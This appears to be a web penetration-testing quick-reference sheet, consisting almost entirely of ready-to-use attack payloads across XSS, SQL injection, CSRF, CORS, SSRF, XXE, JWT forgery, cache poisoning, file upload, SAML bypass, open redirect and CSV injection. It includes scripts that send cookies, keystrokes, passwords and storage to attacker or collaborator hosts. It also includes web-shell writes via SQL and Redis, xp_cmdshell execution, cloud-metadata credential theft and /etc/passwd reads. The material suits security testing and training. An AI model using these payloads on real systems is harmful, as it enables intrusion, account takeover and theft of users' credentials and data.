Quick-reference payloads distilled from the web notes . Full explanation lives there.
Phase
Payload
If it fires
1
<img src=x onerror=alert(1)>
XSS in HTML text context
2
<svg onload=alert(1)>
<img> is filtered
3
" onmouseover="alert(1)
Input is in an HTML attribute
4
';alert(1);//
Input is in a JS string
5
Analyze with DevTools (F12, not View Source)
Need context-specific payload
Context
Payload
HTML text
<img src=x onerror=alert(document.domain)>
HTML text (img blocked)
<svg onload=alert(1)>, <video src=1 onerror=alert(1)>
Quoted attribute
" autofocus onfocus=alert(document.domain) x="
Attribute (break tag)
"><img src=x onerror=alert(1)>
JS string
';alert(document.domain);//
JS string (backslash escape)
\';alert(document.domain);//
JS string (break tag)
</script><img src=x onerror=alert(1)>
Template literal
${alert(document.domain)}
Event handler
'-alert(document.domain)-'
href / URL attribute
javascript:alert(document.domain)
AngularJS 1.x expression
{{constructor.constructor('alert(document.domain)')()}}
Blocked
Bypass
alert()
confirm(1), prompt(1), eval(atob('YWxlcnQoMSk='))
Parentheses ()
onerror=alert;throw 1
onerror
<svg onload=alert(1)>, <input autofocus onfocus=alert(1)>
Quotes
<img src=x onerror=alert(1)> (no quotes needed)
Multi-encoding
%26apos%3B-alert(1)-%26apos%3B (URL → HTML → JS)
< img src = x onerror = " fetch ('https : //ATTACKER?c='+document.cookie) " >
fetch ( 'https://YOUR-ID.oastify.com' ,{method: 'POST' ,mode: 'no-cors' ,body:document.cookie});
< input name = username id = username >
< input type = password name = password
onchange = " if ( this . value . length ) fetch ('https : //YOUR-ID.oastify.com',
{ method :'POST', mode :'no-cors', body : username . value + ':' + this . value });" >
var token = document. querySelector ( 'input[name=csrf]' ).value;
fetch ( '/my-account/change-email' ,{method: 'POST' ,
headers:{ 'Content-Type' : 'application/x-www-form-urlencoded' },
body: 'email=attacker@attacker.example&csrf=' + token});
var k = '' ;document. onkeypress =function ( e ){k += e.key;
if (k. length > 20 ){navigator. sendBeacon ( 'https://YOUR-ID.oastify.com' ,k);k = '' ;}};
navigator. sendBeacon ( 'https://YOUR-ID.oastify.com' ,
JSON . stringify ({ls:localStorage,ss:sessionStorage}));
"><img src=x onerror="fetch('https://YOUR-ID.oastify.com?c='+document.cookie)">
fetch ( 'https://YOUR-ID.oastify.com/blind' ,{method: 'POST' ,mode: 'no-cors' ,
body: JSON . stringify ({url:location.href,cookie:document.cookie,
dom:document.body.innerHTML. substring ( 0 , 2000 )})});
< svg xmlns = "http://www.w3.org/2000/svg" onload = "alert(document.domain)" >
< rect width = "100" height = "100" />
Sources
Sinks
location.search, location.hash
innerHTML, outerHTML
location.href, document.URL
document.write, eval
document.referrer, window.name
setTimeout/setInterval (string arg)
postMessage data
Function constructor, jQuery $() / .html() / .attr()
Sink
Payload
document.write()
<script>alert(1)</script>
innerHTML
<img src=x onerror=alert(1)> (<script> does not work)
eval() / setTimeout()
';alert(1);//
jQuery $()
#<img src=1 onerror=alert(1)>
jQuery .attr('href')
javascript:alert(1)
AngularJS {{ }}
{{constructor.constructor('alert(1)')()}}
Payload (username field)
Notes
admin'-- -
Comment out password check
' OR 1=1-- -
Returns first user (often admin)
' OR 1=1 LIMIT 1-- -
Explicit first row (MySQL)
' OR 1=1#
MySQL comment variant
admin' OR '1'='1
No comment needed
Technique
Payload
Break syntax
' or "
Boolean (string)
' AND '1'='1 / ' AND '1'='2
Boolean (numeric)
1 AND 1=1 / 1 AND 1=2
Arithmetic
id=2-1 (behaves like id=1)
Time (MySQL)
' AND SLEEP(10)-- -
Time (PostgreSQL)
' || pg_sleep(10) || '
Time (MSSQL)
'; WAITFOR DELAY '0:0:10'--
' UNION SELECT NULL , NULL -- -
' UNION SELECT ' a ',NULL,NULL-- -
' UNION SELECT NULL , 'a' , NULL -- -
' UNION SELECT table_name, NULL FROM information_schema.tables-- -
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name=' users '-- -
' UNION SELECT username, password FROM users-- -
' UNION SELECT username || ' ~ ' || password, NULL FROM users-- -
' AND SUBSTRING((SELECT password FROM users WHERE username=' admin '),1,1)>' m '-- -
' AND CAST((SELECT password FROM users WHERE username=' admin ') AS int)=1-- -
' AND IF(SUBSTRING((SELECT password FROM users WHERE username=' admin '),1,1)=' a ',SLEEP(10),0)-- -
' || (SELECT CASE WHEN SUBSTRING((SELECT password FROM users LIMIT 1),1,1)=' a ' THEN pg_sleep(10) ELSE NULL END) || '
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username=' admin ');exec(' master ..xp_dirtree "//'+@p+'.YOUR-ID.oastify.com/a"')--
Blocked
Bypass
SELECT
SeLeCt, SEL/**/ECT, %53%45%4C%45%43%54, /*!SELECT*/
Spaces
/**/, %09 (tab), %0A (newline)
OR / AND
||, &&, ^ (XOR)
Keywords in XML
SELECT (XML entity decoding)
=
LIKE, REGEXP, BETWEEN x AND x, IN ('val')
Quotes
Hex: 0x61646d696e (MySQL), CHAR(97,100) (MySQL/MSSQL), CHR(97)||CHR(100) (Pg/Oracle)
Double URL encode
%2527 (WAF decodes to %27, backend decodes to ')
'; EXEC xp_cmdshell ' whoami '-- -
'; COPY (SELECT '') TO PROGRAM ' id '-- -
' UNION SELECT ' < ?php system ($_GET["cmd"]); ? > ' INTO OUTFILE ' / var / www / html / shell . php '-- -
Task
Syntax
Version
@@version
Delay
SLEEP(5)
Tables
information_schema.tables
Concat
CONCAT(a,b)
Substring
SUBSTRING(), MID()
Comment
-- - or #
Task
Syntax
Version
version()
Delay
pg_sleep(5)
Tables
information_schema.tables
Concat
a || b
Substring
SUBSTRING()
Comment
-- -
Task
Syntax
Version
@@version
Delay
WAITFOR DELAY '0:0:5'
Tables
information_schema.tables
Concat
a + b
Substring
SUBSTRING()
Comment
-- -
Task
Syntax
Version
banner FROM v$version
Delay
dbms_pipe.receive_message('a',5)
Tables
all_tables
Concat
a || b
Substring
SUBSTR()
Comment
-- -
Task
Syntax
Version
sqlite_version()
Tables
sqlite_master
Concat
a || b
Comment
-- -
< form action = "https:// < target>/account/email" method = "POST" >
< input type = "hidden" name = "email" value = "attacker@attacker.example" >
< script >document.forms[ 0 ]. submit ()</ script >
< img src = "https:// < target>/account/email?email=attacker@attacker.example" >
< form action = "https:// < target>/api/email" method = "POST" enctype = "text/plain" >
< input name = '{"email":"attacker@attacker.example","padding":"' value = '"}' >
< meta name = "referrer" content = "no-referrer" >
< form action = "https:// < target>/account/email" method = "POST" >
< input type = "hidden" name = "email" value = "attacker@attacker.example" >
< script >document.forms[ 0 ]. submit ()</ script >
#
Flaw
PoC technique
1
Validated only on POST, not GET
Switch to GET /endpoint?param=value
2
Validated only when present
Drop the csrf parameter entirely
3
Not tied to user session (global pool)
Log in to own account, use own token
4
Tied to non-session cookie (csrfKey)
Inject csrfKey cookie via subdomain + use matching token
5
Double submit (cookie = param, no server state)
Inject cookie with invented value + use same value in form
< form action = "https:// < target>/account/email" method = "POST" >
< input type = "hidden" name = "csrf" value = "ATTACKER-TOKEN-FROM-OWN-SESSION" >
< input type = "hidden" name = "email" value = "attacker@attacker.example" >
< script >document.forms[ 0 ]. submit ()</ script >
< form action = "https:// < target>/account/email" method = "POST" >
< input type = "hidden" name = "csrf" value = "fake" >
< input type = "hidden" name = "email" value = "attacker@attacker.example" >
< img src = "https://sub. < target>/?x=%0d%0aSet-Cookie:+csrf=fake"
onerror = " document . forms [ 0 ]. submit ()" >
var doc = new DOMParser (). parseFromString (html, 'text/html' );
var token = doc. querySelector ( 'input[name=csrf]' ).value;
fetch ( '/account/email' , {method: 'POST' ,
headers:{ 'Content-Type' : 'application/x-www-form-urlencoded' },
body: 'csrf=' + token + '&email=attacker@attacker.example' });
"https://attacker.example" \
"https://<target>.attacker.example" \
"https://attacker<target>" \
"http://sub.<target>" ; do
curl -sI https://<target>/api/me -H "Origin: $o " \
| grep -i "access-control-allow-"
Exploitable when Access-Control-Allow-Origin echoes the attacker origin and Access-Control-Allow-Credentials: true.
Test
Origin to send
Vulnerable if ACAO echoes it
Reflection
https://attacker.example
Server reflects any origin
Null
null
Server whitelists null
Suffix bypass
https://attackertarget.example
Loose regex matching
Prefix bypass
https://target.example.evil.net
Loose prefix matching
HTTP trust
http://sub.target.example
HTTPS trusts HTTP origin
fetch ( "https://<target>/api/me" , { credentials: "include" })
. then ( t => navigator. sendBeacon ( "https://attacker.example/log" , t));
< iframe sandbox = "allow-scripts allow-top-navigation allow-forms"
src = "data:text/html, < script>
fetch('https:// < target>/api/me',{credentials:'include'})
.then(t=>location='https://YOUR-ID.oastify.com/?d='+encodeURIComponent(t))
http://2130706433/admin # decimal
http://017700000001/admin # octal
http://127.1/%2561dmin # double URL-encode 'a'
Whitelist bypass
Example
Credentials
https://expected-host:fakepassword@evil-host
Fragment
https://evil-host#expected-host
DNS subdomain
https://expected-host.evil-host
Double encoding
%252F
http://169.254.169.254/latest/meta-data/iam/security-credentials/
1.2.3.4.169.254.169.254.rbndr.us
gopher://127.0.0.1:6379/_SET%20shell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0ACONFIG%20SET%20dir%20%2Fvar%2Fwww%2Fhtml%2F%0ACONFIG%20SET%20dbfilename%20shell.php%0ASAVE%0AQUIT
< iframe src = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" width = "800" height = "600" ></ iframe >
export AWS_ACCESS_KEY_ID = AKIA...
export AWS_SECRET_ACCESS_KEY = ...
export AWS_SESSION_TOKEN = ...
<! DOCTYPE foo [ <! ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<! DOCTYPE foo [ <! ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/" > ]>
<! ENTITY % file SYSTEM "file:///etc/passwd" >
<! ENTITY % dtd SYSTEM "http://YOUR-ID.oastify.com/evil.dtd" >
<! DOCTYPE cat [ <! ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
< svg xmlns = "http://www.w3.org/2000/svg" >
< text x = "0" y = "15" > &xxe; </ text >
< foo xmlns:xi = "http://www.w3.org/2001/XInclude" >
< xi:include parse = "text" href = "file:///etc/passwd" />
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
<! DOCTYPE foo [ <! ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" > ]>
<! DOCTYPE foo [ <! ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
< w:document xmlns:w = "http://schemas.openxmlformats.org/wordprocessingml/2006/main" >
< w:body >< w:p >< w:r >< w:t > &xxe; </ w:t ></ w:r ></ w:p ></ w:body >
Test
Payload
alg: none
{"alg":"none"} + empty signature (keep trailing .)
alg: none bypass
Try None, NONE, nOnE
Brute-force HS256
hashcat -a 0 -m 16500 "<token>" rockyou.txt
JWK injection
Embed your public key in jwk header param, sign with your private key
Algorithm confusion
RS256 → HS256, sign with server’s public key as HMAC secret
kid path traversal
"kid":"../../dev/null" → sign with empty string
kid SQLi
"kid":"' UNION SELECT 'secret' --" → sign with secret
jku injection
Host your JWK Set, set jku header to your URL, sign with your key
x5c injection
Embed self-signed cert in x5c, sign with its private key
Claim abuse (exp)
Set exp to 9999999999 (server may not check expiration)
Claim abuse (sub/role)
"sub":"admin", "role":"admin", "isAdmin":true
python3 jwt_tool.py <token> -M at
python3 jwt_tool.py <token> -T -S hs256 -p "secret" -pc "sub" -pv "admin"
POST /forgot-password HTTP / 1.1
Content-Type : application/x-www-form-urlencoded
POST /forgot-password HTTP / 1.1
X-Forwarded-Host : attacker.com
Bypass variant
Value
Port injection
Host: example.com:attacker.com
Double Host header
Two Host: lines (parser may use second)
Absolute URL + Host
GET https://example.com/ HTTP/1.1 + Host: attacker.com
SSRF via routing
Host: 192.168.0.68 (proxy routes to internal service)
Connection state
Valid Host on first request, Host: admin.internal on same connection
Bypass
Payload
Direct URL
/admin, /admin-panel, /management, /console, /dashboard
Parameter role
?admin=true, ?role=admin, Cookie: Admin=true, {"roleid":1}
URL override
X-Original-URL: /admin/deleteUser or X-Rewrite-URL
Method switch
GET /admin/deleteUser?username=carlos (if only POST is blocked)
Method override
_method=GET in POST body, or X-HTTP-Method-Override: GET header
URL case
/ADMIN/DELETEUSER (case-insensitive routing, case-sensitive AC)
Trailing slash
/admin/deleteUser/
Extension
/admin/deleteUser.json, /admin/deleteUser.anything
Dot segment
/admin/./deleteUser
Referer spoof
Referer: https://target.example/admin
Multi-step skip
Skip to final step: POST /admin/deleteUser/execute directly
GET /api/users/456/profile HTTP / 1.1
Cookie : session=your-session-token
PUT /api/users/456/profile HTTP / 1.1
Cookie : session=your-session-token
Content-Type : application/json
{ "email" : "attacker@attacker.example" }
DELETE /api/orders/789 HTTP / 1.1
Cookie : session=your-session-token
ffuf -u https://target.example/api/users/FUZZ/profile \
-w <( seq 1 1000 ) -H "Cookie: session=your-token" -mc 200 -fs 0
Source
Look for
API responses
User listings, search results, comments
HTML source
Data attributes, hidden fields, inline JSON
URL in messages
Order links, profile links shared in notifications
WebSocket messages
Real-time feeds with user IDs
GET /en?region=uk HTTP / 1.1
X-Forwarded-Host : x]"/><script>fetch('https://YOUR-ID.oastify.com',{method:'POST',mode:'no-cors',body:document.cookie})</script><meta x="
X-Forwarded-Host : attacker.example
X-Forwarded-Host : attacker.example
Technique
Payload / header
Force scheme redirect
X-Forwarded-Proto: http
Host override
X-Forwarded-Host: attacker.example
Path override
X-Original-URL: /admin/deleteUser
Cookie-based XSS
Cookie: lang="><script>alert(1)</script>
Targeted (Vary)
Match victim’s User-Agent exactly
-H "Host: target.example" \
-H "X-Forwarded-Host: attacker.example" \
"https://target.example/page"
sleep 1790 # max-age 1800, re-poison 10s before expiry
Blocked
Alternatives
.php
.php5, .php7, .phtml, .phar, .phps
.asp
.aspx, .ashx, .asmx, .cer
.jsp
.jspx, .jspf
Technique
Filename
Case
shell.pHp
Double extension
shell.php.jpg
Trailing dot
shell.php.
Semicolon (IIS)
shell.asp;.jpg
Null byte
shell.php%00.jpg
Stripping bypass
shell.p.phphp
NTFS ADS
shell.php::$DATA
URL encoding
shell.%70%68%70
AddType application/x-httpd-php .evil
Format
Magic bytes
JPEG
FF D8 FF
PNG
89 50 4E 47 0D 0A 1A 0A
GIF
GIF89a
PDF
%PDF-
exiftool -Comment= 'payload_here' image.jpg -o shell.php.jpg
Content-Disposition : form-data; name="file"; filename="../shell.php"
Encoded: ..%2fshell.php, double-encoded: ..%252fshell.php
Change Content-Type: application/x-httpd-php to Content-Type: image/jpeg in Burp Repeater. The server checks the header, the web server executes based on extension.
Technique
Description
String concatenation
Build function name from parts ('sys'.'tem')
Base64 encoding
eval(base64_decode('...'))
chr() construction
Build string char by char from ASCII codes
Alternate functions
exec(), passthru(), shell_exec(), popen(), backticks
File splitting
Loader (include('data.dat')) + separate payload file
Metadata injection
exiftool -Comment='payload' image.jpg
#
Test
What to do
Vulnerable if
1
Signature not validated
Change NameID, don’t touch signature
Logs in as other user
2
Unsigned assertion
Remove all signatures (SAML Raider), change NameID
Logs in
3
XML Signature Wrapping
Apply XSW1-8 (SAML Raider dropdown), change forged NameID
Logs in
4
Untrusted certificate
Generate own cert, re-sign assertion, optionally embed in KeyInfo
Logs in
5
Comment injection
admin@target.example<!---->. evil.example in NameID
SP reads admin@target.example
6
Replay
Re-send same SAMLResponse after expiry / after first use
Still works
7
Audience confusion
Send SP-A’s assertion to SP-B’s ACS
SP-B accepts it
8
RelayState injection
RelayState=https://attacker.example or "><script>alert(1)</script>
Redirect / XSS
< saml:Assertion ID = "_forged" > <!-- SP reads this -->
< saml:NameID >admin@target.example</ saml:NameID >
< saml:Assertion ID = "_original" > <!-- signature covers this -->
< ds:Reference URI = "#_original" />
< saml:NameID >user@target.example</ saml:NameID >
< saml:NameID >admin@target.example <!----> . evil.example</ saml:NameID >
< saml:NameID >admin@target.example <!--.evil.example--> </ saml:NameID >
Full details in the SAML note .
ffuf -u https://target.example/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403
git-dumper https://target.example/.git/ ./output
cd output && git log -p --all -S "password"
{ "query" : "{__schema{types{name,fields{name,type{name}}}}}" }
aws s3 ls s3://BUCKET-NAME --no-sign-request
Source
What to check
Source maps
//# sourceMappingURL=app.js.map at end of JS files
Swagger/OpenAPI
/swagger-ui.html, /api-docs, /v2/api-docs, /openapi.json
Debug endpoints
/actuator/env, /phpinfo.php, /debug
Backup files
.bak, ~, .old, .swp, .tmp extensions
Validation bypass payloads (replace attacker.example with Collaborator):
Technique
Payload
Direct
https://attacker.example
Protocol-relative
//attacker.example
Backslash
/\attacker.example, \/\/attacker.example
Userinfo (@)
https://target.example@attacker.example
Subdomain
https://target.example.attacker.example
Double encoding
%2568ttps://attacker.example
Null byte
https://target.example%00.attacker.example
Fragment
https://attacker.example#.target.example
Triple slash
///attacker.example
javascript:
javascript:document.location='https://attacker.example/?c='+document.cookie
OAuth token theft chain:
https://auth.target.example/authorize?response_type=code&client_id=ID&redirect_uri=https://target.example/redirect?url=https://attacker.example/steal&scope=openid
SSRF chain (server-side fetch with redirect follow):
url=https://target.example/redirect?url=http://169.254.169.254/latest/meta-data/
Full note: open redirect .
Payload
Effect
=cmd|'/C calc'|A0
Command execution (legacy Excel, macros enabled)
=HYPERLINK("http://attacker.example/steal?d="&A1,"Click")
Data exfiltration via hyperlink
-cmd|'/C calc'|A0
Some apps strip = but not -
+cmd|'/C calc'|A0
Same with + prefix
@SUM(A1:A2)
@ triggers formula in some parsers
Where to inject
Any user input that ends up in a CSV or Excel export: names, addresses, comments, form fields.
The payload fires when an admin downloads and opens the export.